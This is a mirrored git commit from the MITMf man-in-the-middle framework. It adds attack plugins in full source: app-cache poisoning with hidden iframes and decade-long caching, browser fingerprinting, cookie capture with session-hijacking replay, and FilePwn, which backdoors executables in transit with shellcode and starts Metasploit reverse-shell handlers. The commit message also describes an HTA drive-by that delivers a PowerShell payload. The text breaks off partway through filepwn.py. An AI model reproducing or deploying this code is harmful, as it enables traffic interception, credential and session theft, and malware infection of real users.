mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-16 10:03:52 -07:00
This is a vewwwy big commit
- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes
This commit is contained in:
parent
ff0ada2a39
commit
5e2f30fb89
64 changed files with 3748 additions and 1473 deletions
197
plugins/appcachepoison.py
Normal file
197
plugins/appcachepoison.py
Normal file
|
@ -0,0 +1,197 @@
|
|||
# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import re
|
||||
import os.path
|
||||
import time
|
||||
import sys
|
||||
|
||||
from datetime import date
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class AppCachePlugin(Plugin):
|
||||
name = "AppCachePoison"
|
||||
optname = "appoison"
|
||||
desc = "Performs App Cache Poisoning attacks"
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.mass_poisoned_browsers = []
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
self.urlMonitor = URLMonitor.getInstance()
|
||||
self.urlMonitor.setAppCachePoisoning()
|
||||
|
||||
def response(self, response, request, data):
|
||||
|
||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||
|
||||
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||
url = request.client.uri
|
||||
req_headers = request.client.getAllHeaders()
|
||||
headers = request.client.responseHeaders
|
||||
ip = request.client.getClientIP()
|
||||
|
||||
#########################################################################
|
||||
|
||||
if "enable_only_in_useragents" in self.app_config:
|
||||
regexp = self.app_config["enable_only_in_useragents"]
|
||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
|
||||
if s is False:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo)
|
||||
p = self.getTemplatePrefix(s)
|
||||
|
||||
if element == 'tamper':
|
||||
self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to body
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
|
||||
# add manifest reference
|
||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||
|
||||
elif element == "manifest":
|
||||
self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo)
|
||||
data = self.getSpoofedManifest(url, s)
|
||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||
|
||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||
self.clientlog.info("Poisoning raw URL", extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to response body
|
||||
data += appendix
|
||||
|
||||
self.cacheForFuture(headers)
|
||||
self.removeDangerousHeaders(headers)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
||||
browser_id = ip + req_headers.get("user-agent", "")
|
||||
|
||||
if not 'mass_poison_url_match' in self.app_config: # no url
|
||||
return data
|
||||
if browser_id in self.mass_poisoned_browsers: #already poisoned
|
||||
return data
|
||||
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
|
||||
return data
|
||||
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
|
||||
return data
|
||||
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
|
||||
return data
|
||||
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
|
||||
return data
|
||||
|
||||
self.clientlog.debug("Adding AppCache mass poison for URL {}, id {}".format(url, browser_id), extra=request.clientInfo)
|
||||
appendix = self.getMassPoisonHtml()
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
|
||||
return data
|
||||
|
||||
def getMassPoisonHtml(self):
|
||||
html = "<div style=\"position:absolute;left:-100px\">"
|
||||
for i in self.app_config:
|
||||
if isinstance(self.app_config[i], dict):
|
||||
if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False):
|
||||
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
|
||||
|
||||
return html + "</div>"
|
||||
|
||||
def cacheForFuture(self, headers):
|
||||
ten_years = 315569260
|
||||
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
|
||||
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
|
||||
in_ten_years = date.fromtimestamp(time.time() + ten_years)
|
||||
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
|
||||
|
||||
def removeDangerousHeaders(self, headers):
|
||||
headers.removeHeader("X-Frame-Options")
|
||||
|
||||
def getSpoofedManifest(self, url, section):
|
||||
p = self.getTemplatePrefix(section)
|
||||
if not os.path.exists(p+'.manifest'):
|
||||
p = self.getDefaultTemplatePrefix()
|
||||
|
||||
f = open(p + '.manifest', 'r')
|
||||
manifest = f.read()
|
||||
f.close()
|
||||
return self.decorate(manifest, section)
|
||||
|
||||
def decorate(self, content, section):
|
||||
for i in section:
|
||||
content = content.replace("%%"+i+"%%", section[i])
|
||||
return content
|
||||
|
||||
def getTemplatePrefix(self, section):
|
||||
if section.has_key('templates'):
|
||||
return self.app_config['templates_path'] + '/' + section['templates']
|
||||
|
||||
return self.getDefaultTemplatePrefix()
|
||||
|
||||
def getDefaultTemplatePrefix(self):
|
||||
return self.app_config['templates_path'] + '/default'
|
||||
|
||||
def getManifestUrl(self, section):
|
||||
return section.get("manifest_url",'/robots.txt')
|
||||
|
||||
def getSectionForUrls(self, urls):
|
||||
for url in urls:
|
||||
for i in self.app_config:
|
||||
if isinstance(self.app_config[i], dict): #section
|
||||
section = self.app_config[i]
|
||||
name = i
|
||||
|
||||
if section.get('tamper_url',False) == url:
|
||||
return (name, section, 'tamper',url)
|
||||
|
||||
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
|
||||
return (name, section, 'tamper',url)
|
||||
|
||||
if section.get('manifest_url',False) == url:
|
||||
return (name, section, 'manifest',url)
|
||||
|
||||
if section.get('raw_url',False) == url:
|
||||
return (name, section, 'raw',url)
|
||||
|
||||
return (None, False,'',urls.copy().pop())
|
45
plugins/browserprofiler.py
Normal file
45
plugins/browserprofiler.py
Normal file
|
@ -0,0 +1,45 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import json
|
||||
|
||||
from pprint import pformat
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class BrowserProfiler(Inject, Plugin):
|
||||
name = "BrowserProfiler"
|
||||
optname = "browserprofiler"
|
||||
desc = "Attempts to enumerate all browser plugins of connected clients"
|
||||
version = "0.3"
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_file = "./core/javascript/plugindetect.js"
|
||||
self.output = {} # so other plugins can access the results
|
||||
|
||||
def request(self, request):
|
||||
if (request.command == 'POST') and ('clientprfl' in request.uri):
|
||||
request.handle_post_output = True
|
||||
self.output = json.loads(request.postData)
|
||||
pretty_output = pformat(self.output)
|
||||
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
|
||||
|
||||
def options(self, options):
|
||||
pass
|
100
plugins/ferretng.py
Normal file
100
plugins/ferretng.py
Normal file
|
@ -0,0 +1,100 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import json
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
|
||||
class FerretNG(Plugin):
|
||||
name = "Ferret-NG"
|
||||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ferret_port = options.ferret_port
|
||||
self.cookie_file = None
|
||||
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
from core.utils import shutdown
|
||||
if options.cookie_file:
|
||||
self.tree_info.append('Loading cookies from log file')
|
||||
try:
|
||||
with open(options.cookie_file, 'r') as cookie_file:
|
||||
self.cookie_file = json.dumps(cookie_file.read())
|
||||
URLMonitor.getInstance().cookies = self.cookie_file
|
||||
cookie_file.close()
|
||||
except Exception as e:
|
||||
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
|
||||
def on_config_change(self):
|
||||
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
def request(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
client = request.client.getClientIP()
|
||||
|
||||
if client not in URLMonitor.getInstance().cookies:
|
||||
URLMonitor.getInstance().cookies[client] = []
|
||||
|
||||
for entry in URLMonitor.getInstance().cookies[client]:
|
||||
if host == entry['host']:
|
||||
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
|
||||
entry['host'] = host
|
||||
entry['cookie'] = cookie
|
||||
return
|
||||
|
||||
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
|
||||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
|
||||
def reactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
FerretFactory.protocol = FerretProxy
|
||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
|
||||
|
||||
def on_shutdown(self):
|
||||
if not URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
self.log.info("Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||
cookie_file.close()
|
632
plugins/filepwn.py
Normal file
632
plugins/filepwn.py
Normal file
|
@ -0,0 +1,632 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
#--------------------------------------------------------------------------------#
|
||||
|
||||
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
||||
#
|
||||
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
|
||||
#
|
||||
# Copyright (c) 2013-2014, Joshua Pitts
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification,
|
||||
# are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice,
|
||||
# this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
# this list of conditions and the following disclaimer in the documentation
|
||||
# and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors
|
||||
# may be used to endorse or promote products derived from this software without
|
||||
# specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
# POSSIBILITY OF SUCH DAMAGE.
|
||||
#
|
||||
# Tested on Kali-Linux. (and Arch Linux)
|
||||
|
||||
import sys
|
||||
import os
|
||||
import pefile
|
||||
import zipfile
|
||||
import logging
|
||||
import shutil
|
||||
import random
|
||||
import string
|
||||
import threading
|
||||
import multiprocessing
|
||||
import tarfile
|
||||
|
||||
from libs.bdfactory import pebin
|
||||
from libs.bdfactory import elfbin
|
||||
from libs.bdfactory import machobin
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from tempfile import mkstemp
|
||||
|
||||
class FilePwn(Plugin):
|
||||
name = "FilePwn"
|
||||
optname = "filepwn"
|
||||
desc = "Backdoor executables being sent over http using bdfactory"
|
||||
tree_info = ["BDFProxy v0.3.2 online"]
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
|
||||
self.patched = multiprocessing.Queue()
|
||||
|
||||
from core.msfrpc import Msf
|
||||
self.msf = Msf()
|
||||
|
||||
#FOR FUTURE USE
|
||||
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream']
|
||||
|
||||
#FOR FUTURE USE
|
||||
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
|
||||
|
||||
#USED NOW
|
||||
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
|
||||
'pe': {'number': 'MZ', 'offset': 0},
|
||||
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
|
||||
'bz': {'number': 'BZ', 'offset': 0},
|
||||
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
|
||||
'tar': {'number': 'ustar', 'offset': 257},
|
||||
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
|
||||
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
|
||||
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
|
||||
}
|
||||
|
||||
#NOT USED NOW
|
||||
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||
|
||||
#FilePwn options
|
||||
self.userConfig = self.config['FilePwn']
|
||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
||||
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
|
||||
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
|
||||
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
|
||||
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
|
||||
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
|
||||
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
|
||||
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
|
||||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
|
||||
|
||||
t = threading.Thread(name='setup_msf', target=self.setup_msf)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def setup_msf(self):
|
||||
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
||||
cmd = "use exploit/multi/handler\n"
|
||||
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
||||
cmd += "set LHOST {}\n".format(config["HOST"])
|
||||
cmd += "set LPORT {}\n".format(config["PORT"])
|
||||
cmd += "set ExitOnSession False\n"
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
self.msf.sendcommand(cmd)
|
||||
|
||||
def on_config_change(self):
|
||||
self.initialize(self.options)
|
||||
|
||||
def convert_to_Bool(self, aString):
|
||||
if aString.lower() == 'true':
|
||||
return True
|
||||
elif aString.lower() == 'false':
|
||||
return False
|
||||
elif aString.lower() == 'none':
|
||||
return None
|
||||
|
||||
def bytes_have_format(self, bytess, formatt):
|
||||
number = self.magicNumbers[formatt]
|
||||
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']:
|
||||
return True
|
||||
return False
|
||||
|
||||
def binaryGrinder(self, binaryFile):
|
||||
"""
|
||||
Feed potential binaries into this function,
|
||||
it will return the result PatchedBinary, False, or None
|
||||
"""
|
||||
|
||||
with open(binaryFile, 'r+b') as f:
|
||||
binaryTMPHandle = f.read()
|
||||
|
||||
binaryHeader = binaryTMPHandle[:4]
|
||||
result = None
|
||||
|
||||
try:
|
||||
if binaryHeader[:2] == 'MZ': # PE/COFF
|
||||
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
|
||||
magic = pe.OPTIONAL_HEADER.Magic
|
||||
machineType = pe.FILE_HEADER.Machine
|
||||
|
||||
#update when supporting more than one arch
|
||||
if (magic == int('20B', 16) and machineType == 0x8664 and
|
||||
self.WindowsType.lower() in ['all', 'x64']):
|
||||
add_section = False
|
||||
cave_jumping = False
|
||||
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
|
||||
add_section = True
|
||||
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
|
||||
cave_jumping = True
|
||||
|
||||
# if automatic override
|
||||
if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
|
||||
cave_jumping = True
|
||||
|
||||
targetFile = pebin.pebin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.WindowsIntelx64['SHELL'],
|
||||
HOST=self.WindowsIntelx64['HOST'],
|
||||
PORT=int(self.WindowsIntelx64['PORT']),
|
||||
ADD_SECTION=add_section,
|
||||
CAVE_JUMPING=cave_jumping,
|
||||
IMAGE_TYPE=self.WindowsType,
|
||||
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
|
||||
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
|
||||
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
|
||||
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower()
|
||||
)
|
||||
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif (machineType == 0x14c and
|
||||
self.WindowsType.lower() in ['all', 'x86']):
|
||||
add_section = False
|
||||
cave_jumping = False
|
||||
#add_section wins for cave_jumping
|
||||
#default is single for BDF
|
||||
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
|
||||
add_section = True
|
||||
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
|
||||
cave_jumping = True
|
||||
|
||||
# if automatic override
|
||||
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
|
||||
cave_jumping = True
|
||||
|
||||
targetFile = pebin.pebin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.WindowsIntelx86['SHELL'],
|
||||
HOST=self.WindowsIntelx86['HOST'],
|
||||
PORT=int(self.WindowsIntelx86['PORT']),
|
||||
ADD_SECTION=add_section,
|
||||
CAVE_JUMPING=cave_jumping,
|
||||
IMAGE_TYPE=self.WindowsType,
|
||||
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
|
||||
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
|
||||
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']),
|
||||
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower()
|
||||
)
|
||||
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
|
||||
|
||||
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
|
||||
targetFile.support_check()
|
||||
|
||||
if targetFile.class_type == 0x1:
|
||||
#x86CPU Type
|
||||
targetFile = elfbin.elfbin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.LinuxIntelx86['SHELL'],
|
||||
HOST=self.LinuxIntelx86['HOST'],
|
||||
PORT=int(self.LinuxIntelx86['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
|
||||
IMAGE_TYPE=self.LinuxType
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
elif targetFile.class_type == 0x2:
|
||||
#x64
|
||||
targetFile = elfbin.elfbin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.LinuxIntelx64['SHELL'],
|
||||
HOST=self.LinuxIntelx64['HOST'],
|
||||
PORT=int(self.LinuxIntelx64['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
|
||||
IMAGE_TYPE=self.LinuxType
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
|
||||
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
|
||||
targetFile.support_check()
|
||||
|
||||
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
|
||||
|
||||
if targetFile.FAT_FILE is True:
|
||||
if self.FatPriority == 'x86':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx86['SHELL'],
|
||||
HOST=self.MachoIntelx86['HOST'],
|
||||
PORT=int(self.MachoIntelx86['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif self.FatPriority == 'x64':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx64['SHELL'],
|
||||
HOST=self.MachoIntelx64['HOST'],
|
||||
PORT=int(self.MachoIntelx64['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx86['SHELL'],
|
||||
HOST=self.MachoIntelx86['HOST'],
|
||||
PORT=int(self.MachoIntelx86['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
|
||||
targetFile = machobin.machobin(FILE=binaryFile,
|
||||
OUTPUT=os.path.basename(binaryFile),
|
||||
SHELL=self.MachoIntelx64['SHELL'],
|
||||
HOST=self.MachoIntelx64['HOST'],
|
||||
PORT=int(self.MachoIntelx64['PORT']),
|
||||
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
|
||||
FAT_PRIORITY=self.FatPriority
|
||||
)
|
||||
result = targetFile.run_this()
|
||||
|
||||
self.patched.put(result)
|
||||
return
|
||||
|
||||
except Exception as e:
|
||||
print 'Exception', str(e)
|
||||
self.log.warning("EXCEPTION IN binaryGrinder {}".format(e))
|
||||
return None
|
||||
|
||||
def tar_files(self, aTarFileBytes, formatt):
|
||||
"When called will unpack and edit a Tar File and return a tar file"
|
||||
|
||||
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
|
||||
|
||||
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
|
||||
print "[!] TarFile over allowed size"
|
||||
self.log.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
|
||||
with tempfile.NamedTemporaryFile() as tarFileStorage:
|
||||
